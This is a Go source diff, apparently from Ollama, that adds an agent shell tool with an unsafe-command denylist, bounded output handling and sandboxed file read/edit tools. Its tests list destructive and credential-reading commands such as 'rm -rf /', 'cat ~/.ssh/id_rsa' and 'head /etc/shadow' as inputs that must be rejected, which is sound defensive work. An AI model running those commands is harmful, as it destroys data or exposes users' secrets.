+	for _, prefix := range []string{"~/", "$home/", "${home}/", "$env:home/", "$env:userprofile/", "%userprofile%/"} {
+		if strings.HasPrefix(target, prefix) {
+			return true
+		}
+	}
+	for _, prefix := range []string{"/etc/", "/bin/", "/sbin/", "/usr/", "/var/", "/lib/", "/library/", "/system/", "/applications/", "c:/windows/", "c:/program files/"} {
+		if strings.HasPrefix(target, prefix) {
+			return true
+		}
+	}
+	for _, exact := range []string{"/", "~", "$home", "${home}", "$env:home", "$env:userprofile", "%userprofile%", "c:", "c:/", "/etc", "/bin", "/sbin", "/usr", "/var", "/lib", "/library", "/system", "/applications", "c:/windows", "c:/program files"} {
+		if target == exact {
+			return true
+		}
+	}
+	return false
+}
+
+func shellSafetyFields(command string) []string {
+	return strings.Fields(shellSafetyText(command))
+}
+
+func shellSafetyText(command string) string {
+	command = strings.ToLower(command)
+	return strings.NewReplacer(
+		"\\", "/",
+		"\n", " ",
+		"\t", " ",
+		";", " ",
+		"&", " ",
+		"|", " ",
+		"(", " ",
+		")", " ",
+		"\"", "",
+		"'", "",
+		"`", "",
+	).Replace(command)
+}
+
+func readFinalWorkingDir(path string) string {
+	content, err := os.ReadFile(path)
+	if err != nil {
+		return ""
+	}
+	workingDir := strings.TrimPrefix(string(content), "\ufeff")
+	workingDir = strings.TrimSpace(workingDir)
+	if workingDir == "" {
+		return ""
+	}
+	workingDir = normalizeBashWorkingDir(workingDir)
+	info, err := os.Stat(workingDir)
+	if err != nil || !info.IsDir() {
+		return ""
+	}
+	return workingDir
+}
+
+func normalizeBashWorkingDir(workingDir string) string {
+	if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
+		workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
+	}
+	workingDir = filepath.Clean(filepath.FromSlash(workingDir))
+	if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
+		workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
+	}
+	return workingDir
+}
+
+func isASCIIAlpha(b byte) bool {
+	return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
+}
+
+type boundedOutput struct {
+	Limit   int
+	buf     []byte
+	omitted int
+}
+
+func (b *boundedOutput) Write(p []byte) (int, error) {
+	if b.Limit <= 0 {
+		b.omitted += len(p)
+		return len(p), nil
+	}
+	remaining := b.Limit - len(b.buf)
+	if remaining <= 0 {
+		b.omitted += len(p)
+		return len(p), nil
+	}
+	if len(p) <= remaining {
+		b.buf = append(b.buf, p...)
+		return len(p), nil
+	}
+	writeLen := utf8SafePrefixLen(p[:remaining])
+	b.buf = append(b.buf, p[:writeLen]...)
+	b.omitted += len(p) - writeLen
+	return len(p), nil
+}
+
+func (b *boundedOutput) Len() int {
+	return len(b.buf) + b.omitted
+}
+
+func (b *boundedOutput) String(label string) string {
+	safeLen := utf8SafePrefixLen(b.buf)
+	content := string(b.buf[:safeLen])
+	omitted := b.omitted + len(b.buf) - safeLen
+	if omitted == 0 {
+		return content
+	}
+	return content + agent.TruncMarker(label, safeLen, 0, omitted, false, "")
+}
+
+func utf8SafePrefixLen(p []byte) int {
+	if len(p) == 0 {
+		return 0
+	}
+	for i := 0; i < len(p); {
+		r, size := utf8.DecodeRune(p[i:])
+		if r == utf8.RuneError && size == 1 {
+			return i
+		}
+		i += size
+	}
+	return len(p)
+}

agent/tools/bash_test.go

@@ -0,0 +1,258 @@
+package tools
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+	"unicode/utf8"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestBashReportsFinalWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	subdir := filepath.Join(root, "sub")
+	if err := os.Mkdir(subdir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	wantDir, err := filepath.EvalSymlinks(subdir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.WorkingDir != wantDir {
+		t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
+	}
+	if !strings.Contains(result.Content, "sub") {
+		t.Fatalf("content = %q, want pwd output", result.Content)
+	}
+}
+
+func TestBashBoundsOutputWhileRunning(t *testing.T) {
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "[stdout truncated: showing first ~") || !strings.Contains(result.Content, "omitted ~") || !strings.Contains(result.Content, " tokens.]") {
+		t.Fatalf("content = %q, want stdout truncation marker", result.Content)
+	}
+	if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want {
+		t.Fatalf("captured x count = %d, want %d", count, want)
+	}
+	if len(result.Content) > maxBashOutputBytes+200 {
+		t.Fatalf("content length = %d, want bounded output", len(result.Content))
+	}
+}
+
+func TestBoundedOutputTruncatesAtUTF8Boundary(t *testing.T) {
+	var out boundedOutput
+	out.Limit = len([]byte("abc")) + 1
+
+	if _, err := out.Write([]byte("abcédef")); err != nil {
+		t.Fatal(err)
+	}
+	content := out.String("stdout")
+	if !utf8.ValidString(content) {
+		t.Fatalf("content is not valid UTF-8: %q", content)
+	}
+	if strings.ContainsRune(content, utf8.RuneError) {
+		t.Fatalf("content contains replacement rune: %q", content)
+	}
+	if !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want complete ASCII prefix and truncation marker", content)
+	}
+}
+
+func TestBoundedOutputKeepsCompleteUTF8AtBoundary(t *testing.T) {
+	var out boundedOutput
+	out.Limit = len([]byte("abcé"))
+
+	if _, err := out.Write([]byte("abcédef")); err != nil {
+		t.Fatal(err)
+	}
+	if content := out.String("stdout"); !strings.HasPrefix(content, "abcé\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want complete UTF-8 prefix", content)
+	}
+}
+
+func TestBoundedOutputTrimsTrailingPartialUTF8(t *testing.T) {
+	var out boundedOutput
+	out.Limit = 4
+
+	if _, err := out.Write([]byte{'a', 'b', 'c', 0xc3}); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := out.Write([]byte{0xa9}); err != nil {
+		t.Fatal(err)
+	}
+	if content := out.String("stdout"); !utf8.ValidString(content) || !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want valid UTF-8 with partial suffix trimmed", content)
+	}
+}
+
+func TestUTF8SafePrefixRejectsMalformedLeadByte(t *testing.T) {
+	input := []byte{'a', 0xc0, 0x80, 'b'}
+	if got := utf8SafePrefixLen(input); got != 1 {
+		t.Fatalf("safe prefix length = %d, want 1", got)
+	}
+}
+
+func TestBoundedOutputDropsMalformedUTF8(t *testing.T) {
+	var out boundedOutput
+	out.Limit = 4
+
+	if _, err := out.Write([]byte{'a', 0xc0, 0x80, 'b'}); err != nil {
+		t.Fatal(err)
+	}
+	content := out.String("stdout")
+	if !utf8.ValidString(content) {
+		t.Fatalf("content is not valid UTF-8: %q", content)
+	}
+	if strings.ContainsRune(content, utf8.RuneError) {
+		t.Fatalf("content contains replacement rune: %q", content)
+	}
+	if !strings.HasPrefix(content, "a\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want valid prefix and truncation marker", content)
+	}
+}
+
+func TestBashReportsCanceledCommand(t *testing.T) {
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+
+	result, err := (&Bash{}).Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "Error: command was canceled") {
+		t.Fatalf("content = %q, want canceled message", result.Content)
+	}
+	if strings.Contains(result.Content, "Exit code: -1") {
+		t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
+	}
+}
+
+func TestRejectUnsafeShellCommand(t *testing.T) {
+	tests := []struct {
+		name    string
+		command string
+		wantErr bool
+	}{
+		{name: "rm root", command: "rm -rf /", wantErr: true},
+		{name: "sudo rm root", command: "sudo rm -rf -- /", wantErr: true},
+		{name: "rm home", command: "rm -fr $HOME", wantErr: true},
+		{name: "rm root wildcard", command: "rm -rf /*", wantErr: true},
+		{name: "rm system subdir", command: "rm -rf /etc/ssh", wantErr: true},
+		{name: "rm cwd", command: "rm -rf .", wantErr: true},
+		{name: "powershell remove root", command: `Remove-Item -Recurse -Force C:\`, wantErr: true},
+		{name: "powershell remove system subdir", command: `Remove-Item -Recurse -Force C:\Windows\Temp`, wantErr: true},
+		{name: "ssh private key", command: "cat ~/.ssh/id_rsa", wantErr: true},
+		{name: "aws credentials", command: "Get-Content $HOME/.aws/credentials", wantErr: true},
+		{name: "shadow", command: "head /etc/shadow", wantErr: true},
+		{name: "netrc", command: "cat ~/.netrc", wantErr: true},
+		{name: "docker config", command: "cat ~/.docker/config.json", wantErr: true},
+		{name: "gnupg dir", command: "cat ~/.gnupg/private-keys-v1.d/key", wantErr: true},
+		{name: "gh hosts", command: "cat ~/.config/gh/hosts.yml", wantErr: true},
+		{name: "ssh config", command: "cat ~/.ssh/config", wantErr: true},
+		{name: "printenv dump", command: "printenv", wantErr: false},
+		{name: "delete build dir", command: "rm -rf build", wantErr: false},
+		{name: "read project file", command: "cat README.md", wantErr: false},
+		{name: "mention key text", command: "rg id_rsa docs", wantErr: false},
+		{name: "env example", command: "cat .env.example", wantErr: false},
+		{name: "rm build then unrelated tilde path", command: "rm -rf build && echo ~/.ssh/config", wantErr: false},
+		{name: "rm build then unrelated slash path", command: "rm -rf build; cat /etc/passwd", wantErr: false},
+		{name: "rm build then unrelated star glob", command: "rm -rf build && ls *.go", wantErr: false},
+		{name: "rm multiple targets one unsafe", command: "rm -rf build /etc", wantErr: true},
+		{name: "rm unsafe then safe piped", command: "rm -rf / | tee log", wantErr: true},
+		{name: "rm unsafe via command substitution", command: "rm -rf $(echo /)", wantErr: true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			err := rejectUnsafeShellCommand(tt.command)
+			if tt.wantErr && err == nil {
+				t.Fatal("expected unsafe command to be rejected")
+			}
+			if !tt.wantErr && err != nil {
+				t.Fatalf("command rejected: %v", err)
+			}
+		})
+	}
+}
+
+func TestBashRejectsUnsafeCommandBeforeExecution(t *testing.T) {
+	_, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": "rm -rf /",
+	})
+	if err == nil || !strings.Contains(err.Error(), "refusing to run unsafe command") {
+		t.Fatalf("err = %v, want unsafe command rejection", err)
+	}
+}
+
+func shellTestCommand(unix, windows string) string {
+	if runtime.GOOS == "windows" {
+		return windows
+	}
+	return unix
+}
+
+func shellTestCapturedXCount() int {
+	if runtime.GOOS == "windows" {
+		return maxBashOutputBytes
+	}
+	return maxBashOutputBytes / 2
+}
+
+func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
+	dir := t.TempDir()
+	cwdFile := filepath.Join(dir, "cwd")
+	notDir := filepath.Join(dir, "file.txt")
+	if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != "" {
+		t.Fatalf("regular file cwd = %q, want empty", got)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != "" {
+		t.Fatalf("missing cwd = %q, want empty", got)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != dir {
+		t.Fatalf("directory cwd = %q, want %q", got, dir)
+	}
+}
+
+func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("windows path normalization")
+	}
+	got := normalizeBashWorkingDir("/c/Users/jdoe/project")
+	want := filepath.Clean(`C:\Users\jdoe\project`)
+	if got != want {
+		t.Fatalf("working dir = %q, want %q", got, want)
+	}
+}

agent/tools/bash_unix.go

@@ -0,0 +1,49 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"syscall"
+)
+
+func shellToolName() string {
+	return "bash"
+}
+
+func shellToolDescription() string {
+	return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks."
+}
+
+func shellCommandDescription() string {
+	return "The bash command to execute."
+}
+
+func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
+	script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
+	cmd := exec.CommandContext(ctx, "bash", "-c", script)
+	configureBashCommand(cmd)
+	return cmd
+}
+
+func shellQuote(value string) string {
+	return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
+}
+
+func configureBashCommand(cmd *exec.Cmd) {
+	cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
+}
+
+func runBashCommand(cmd *exec.Cmd) error {
+	return cmd.Run()
+}
+
+func killBashCommand(cmd *exec.Cmd) error {
+	if cmd == nil || cmd.Process == nil {
+		return nil
+	}
+	_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
+	return nil
+}

agent/tools/bash_unix_test.go

@@ -0,0 +1,40 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
+	cmd := exec.Command("bash", "-c", "true")
+	configureBashCommand(cmd)
+	if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
+		t.Fatalf("configureBashCommand should start bash in a new process group")
+	}
+}
+
+func TestBashWaitDelayBoundsBackgroundOutputPipe(t *testing.T) {
+	start := time.Now()
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": "sleep 5 & echo done",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if elapsed := time.Since(start); elapsed > bashWaitDelay+2*time.Second {
+		t.Fatalf("command elapsed = %s, want bounded near %s", elapsed, bashWaitDelay)
+	}
+	if !strings.Contains(result.Content, "done") {
+		t.Fatalf("content = %q, want command output", result.Content)
+	}
+	if !strings.Contains(result.Content, "output pipes did not close") {
+		t.Fatalf("content = %q, want wait delay message", result.Content)
+	}
+}

agent/tools/bash_windows.go

@@ -0,0 +1,134 @@
+//go:build windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"sync"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+var bashJobHandles sync.Map
+
+func shellToolName() string {
+	return "powershell"
+}
+
+func shellToolDescription() string {
+	return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks."
+}
+
+func shellCommandDescription() string {
+	return "The PowerShell command to execute."
+}
+
+func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
+	return exec.CommandContext(
+		ctx,
+		"powershell.exe",
+		"-NoLogo",
+		"-NoProfile",
+		"-NonInteractive",
+		"-ExecutionPolicy",
+		"Bypass",
+		"-Command",
+		powerShellCommandScript(command, cwdPath),
+	)
+}
+
+func powerShellCommandScript(command, cwdPath string) string {
+	cwdPath = powerShellSingleQuote(cwdPath)
+	return strings.Join([]string{
+		"$__ollama_status = 0",
+		". {",
+		"try {",
+		command,
+		"  $__ollama_success = $?",
+		"  $__ollama_last_exit = $global:LASTEXITCODE",
+		"  if ($__ollama_success) {",
+		"    $__ollama_status = 0",
+		"  } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {",
+		"    $__ollama_status = $__ollama_last_exit",
+		"  } else {",
+		"    $__ollama_status = 1",
+		"  }",
+		"} catch {",
+		"  Write-Error $_",
+		"  $__ollama_status = 1",
+		"} finally {",
+		"  try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}",
+		"}",
+		"} | Out-String -Stream -Width 4096",
+		"exit $__ollama_status",
+	}, "\n")
+}
+
+func powerShellSingleQuote(value string) string {
+	return "'" + strings.ReplaceAll(value, "'", "''") + "'"
+}
+
+func runBashCommand(cmd *exec.Cmd) error {
+	if err := cmd.Start(); err != nil {
+		return err
+	}
+	if job, err := createBashJob(cmd.Process.Pid); err == nil {
+		bashJobHandles.Store(cmd.Process.Pid, job)
+		defer releaseBashJob(cmd.Process.Pid)
+	}
+	return cmd.Wait()
+}
+
+func killBashCommand(cmd *exec.Cmd) error {
+	if cmd == nil || cmd.Process == nil {
+		return nil
+	}
+	releaseBashJob(cmd.Process.Pid)
+	_ = cmd.Process.Kill()
+	return nil
+}
+
+func createBashJob(pid int) (windows.Handle, error) {
+	job, err := windows.CreateJobObject(nil, nil)
+	if err != nil {
+		return 0, err
+	}
+
+	info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
+	info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
+	if _, err := windows.SetInformationJobObject(
+		job,
+		windows.JobObjectExtendedLimitInformation,
+		uintptr(unsafe.Pointer(&info)),
+		uint32(unsafe.Sizeof(info)),
+	); err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+
+	process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
+	if err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+	defer windows.CloseHandle(process)
+
+	if err := windows.AssignProcessToJobObject(job, process); err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+	return job, nil
+}
+
+func releaseBashJob(pid int) {
+	value, ok := bashJobHandles.LoadAndDelete(pid)
+	if !ok {
+		return
+	}
+	if job, ok := value.(windows.Handle); ok {
+		_ = windows.CloseHandle(job)
+	}
+}

agent/tools/bash_windows_test.go

@@ -0,0 +1,15 @@
+//go:build windows
+
+package tools
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestPowerShellCommandScriptUsesWideOutString(t *testing.T) {
+	script := powerShellCommandScript("Get-ChildItem", `C:\cwd.txt`)
+	if !strings.Contains(script, "Out-String -Stream -Width 4096") {
+		t.Fatalf("script = %q, want explicit Out-String width", script)
+	}
+}

agent/tools/file.go

@@ -0,0 +1,558 @@
+package tools
+
+import (
+	"bufio"
+	"context"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strconv"
+	"strings"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	maxReadBytes = 200000
+)
+
+type Read struct{}
+
+func (r *Read) Name() string {
+	return "read"
+}
+
+func (r *Read) Description() string {
+	return "Read a text file from the current working directory."
+}
+
+func (r *Read) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("path", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Path to the file to read, relative to the working directory.",
+	})
+	props.Set("start", api.ToolProperty{
+		Type:        api.PropertyType{"integer"},
+		Description: "Optional 1-based line to start reading from.",
+	})
+	props.Set("end", api.ToolProperty{
+		Type:        api.PropertyType{"integer"},
+		Description: "Optional 1-based inclusive line to stop reading at.",
+	})
+	return api.ToolFunction{
+		Name:        r.Name(),
+		Description: r.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"path"},
+		},
+	}
+}
+
+func (r *Read) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg / agent.OptionalIntArg for args (see agent package cleanup plan).
+	path, ok := args["path"].(string)
+	if !ok || strings.TrimSpace(path) == "" {
+		return agent.ToolResult{}, fmt.Errorf("path parameter is required")
+	}
+
+	file, info, err := openRegularFile(toolCtx.WorkingDir, path, true)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	defer file.Close()
+
+	selection, err := readSelectionFromArgs(args)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	if !selection.enabled && info.Size() > maxReadBytes {
+		return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
+	}
+
+	select {
+	case <-ctx.Done():
+		return agent.ToolResult{}, ctx.Err()
+	default:
+	}
+
+	var content string
+	if selection.enabled {
+		content, err = readLineSelection(file, selection)
+	} else {
+		var contentBytes []byte
+		contentBytes, err = readAllWithinLimit(file, maxReadBytes)
+		content = string(contentBytes)
+	}
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	return agent.ToolResult{Content: content}, nil
+}
+
+type Edit struct{}
+
+func (e *Edit) Name() string {
+	return "edit"
+}
+
+func (e *Edit) Description() string {
+	return "Edit a text file in the current working directory by replacing exact text."
+}
+
+func (e *Edit) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("path", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Path to the file to edit, relative to the working directory.",
+	})
+	props.Set("old_text", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Exact text to replace.",
+	})
+	props.Set("new_text", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Replacement text.",
+	})
+	props.Set("replace_all", api.ToolProperty{
+		Type:        api.PropertyType{"boolean"},
+		Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.",
+	})
+	return api.ToolFunction{
+		Name:        e.Name(),
+		Description: e.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"path", "old_text", "new_text"},
+		},
+	}
+}
+
+func (e *Edit) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg / agent.OptionalBoolArg for args (see agent package cleanup plan).
+	path, ok := args["path"].(string)
+	if !ok || strings.TrimSpace(path) == "" {
+		return agent.ToolResult{}, fmt.Errorf("path parameter is required")
+	}
+
+	oldText, ok := args["old_text"].(string)
+	if !ok || oldText == "" {
+		return agent.ToolResult{}, fmt.Errorf("old_text parameter is required")
+	}
+
+	newText, ok := args["new_text"].(string)
+	if !ok {
+		return agent.ToolResult{}, fmt.Errorf("new_text parameter is required")
+	}
+
+	replaceAll, _ := args["replace_all"].(bool)
+
+	if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	file, info, err := openRegularFile(toolCtx.WorkingDir, path, false)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	if info.Size() > maxReadBytes {
+		file.Close()
+		return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
+	}
+
+	select {
+	case <-ctx.Done():
+		file.Close()
+		return agent.ToolResult{}, ctx.Err()
+	default:
+	}
+
+	contentBytes, err := readAllWithinLimit(file, maxReadBytes)
+	if closeErr := file.Close(); err == nil && closeErr != nil {
+		err = closeErr
+	}
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	content := string(contentBytes)
+	matches := strings.Count(content, oldText)
+	if matches == 0 {
+		return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
+	}
+	if matches > 1 && !replaceAll {
+		return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path)
+	}
+
+	var updated string
+	if replaceAll {
+		updated = strings.ReplaceAll(content, oldText, newText)
+	} else {
+		updated = strings.Replace(content, oldText, newText, 1)
+	}
+	if len(updated) > maxReadBytes {
+		return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
+	}
+
+	if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil
+}
+
+func cleanRelativePath(path string) (string, error) {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return "", fmt.Errorf("path parameter is required")
+	}
+	if filepath.IsAbs(path) {
+		return "", fmt.Errorf("absolute paths are not allowed")
+	}
+	cleaned := filepath.Clean(path)
+	if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
+		return "", fmt.Errorf("path escapes working directory")
+	}
+	return cleaned, nil
+}
+
+func openRegularFile(workingDir, path string, allowAbsolute bool) (*os.File, os.FileInfo, error) {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return nil, nil, fmt.Errorf("path parameter is required")
+	}
+	if allowAbsolute && filepath.IsAbs(path) {
+		cleaned := filepath.Clean(path)
+		info, err := os.Lstat(cleaned)
+		if err != nil {
+			return nil, nil, err
+		}
+		if info.Mode()&os.ModeSymlink != 0 {
+			return nil, nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
+		}
+		if err := rejectNonRegularFile(path, info); err != nil {
+			return nil, nil, err
+		}
+		file, err := os.Open(cleaned)
+		if err != nil {
+			return nil, nil, err
+		}
+		info, err = file.Stat()
+		if err != nil {
+			file.Close()
+			return nil, nil, err
+		}
+		if err := rejectNonRegularFile(path, info); err != nil {
+			file.Close()
+			return nil, nil, err
+		}
+		return file, info, nil
+	}
+
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return nil, nil, err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer root.Close()
+
+	if _, err := regularRootFileInfo(root, rel, path); err != nil {
+		return nil, nil, err
+	}
+	file, err := root.Open(rel)
+	if err != nil {
+		return nil, nil, rootPathError(err)
+	}
+	info, err := file.Stat()
+	if err != nil {
+		file.Close()
+		return nil, nil, err
+	}
+	if err := rejectNonRegularFile(path, info); err != nil {
+		file.Close()
+		return nil, nil, err
+	}
+	return file, info, nil
+}
+
+func regularRootFileInfo(root *os.Root, rel, path string) (os.FileInfo, error) {
+	info, err := root.Lstat(rel)
+	if err != nil {
+		return nil, rootPathError(err)
+	}
+	// Reject symlinks outright. os.Root.Open follows symlinks via openat
+	// without O_NOFOLLOW, so a symlink inside the working root that points
+	// outside it (e.g. ./notes -> ~/.ssh/id_rsa) would otherwise be read
+	// transparently, bypassing the working-directory confinement that the
+	// bash denylist enforces for direct credential reads. The caller must
+	// operate on the real target file instead.
+	if info.Mode()&os.ModeSymlink != 0 {
+		return nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
+	}
+	if err := rejectNonRegularFile(path, info); err != nil {
+		return nil, err
+	}
+	return info, nil
+}
+
+func rejectNonRegularFile(path string, info os.FileInfo) error {
+	if info.IsDir() {
+		return fmt.Errorf("%s is a directory", path)
+	}
+	if !info.Mode().IsRegular() {
+		return fmt.Errorf("%s is not a regular file", path)
+	}
+	return nil
+}
+
+func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return err
+	}
+	defer root.Close()
+	if err := rejectRootFinalSymlink(root, rel, path); err != nil {
+		return err
+	}
+
+	parent, name := filepath.Split(rel)
+	tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
+	for i := 0; ; i++ {
+		candidateName := tmpBase
+		if i > 0 {
+			candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
+		}
+		candidate := filepath.Join(parent, candidateName)
+		file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
+		if os.IsExist(err) {
+			continue
+		}
+		if err != nil {
+			return rootPathError(err)
+		}
+		if err := file.Chmod(perm); err != nil {
+			closeErr := file.Close()
+			_ = root.Remove(candidate)
+			if closeErr != nil {
+				return closeErr
+			}
+			return err
+		}
+		writeErr := writeAllAndSync(file, data)
+		closeErr := file.Close()
+		if writeErr != nil || closeErr != nil {
+			_ = root.Remove(candidate)
+			if writeErr != nil {
+				return writeErr
+			}
+			return closeErr
+		}
+		if err := root.Rename(candidate, rel); err != nil {
+			_ = root.Remove(candidate)
+			return rootPathError(err)
+		}
+		return nil
+	}
+}
+
+func rejectFinalSymlink(workingDir, path string) error {
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return err
+	}
+	defer root.Close()
+	return rejectRootFinalSymlink(root, rel, path)
+}
+
+func rejectRootFinalSymlink(root *os.Root, rel, path string) error {
+	info, err := root.Lstat(rel)
+	if err != nil {
+		return rootPathError(err)
+	}
+	if info.Mode()&os.ModeSymlink != 0 {
+		return fmt.Errorf("%s is a symlink; edit the target file directly", path)
+	}
+	return nil
+}
+
+func rootPathError(err error) error {
+	if err != nil && strings.Contains(err.Error(), "path escapes") {
+		return fmt.Errorf("path escapes working directory")
+	}
+	return err
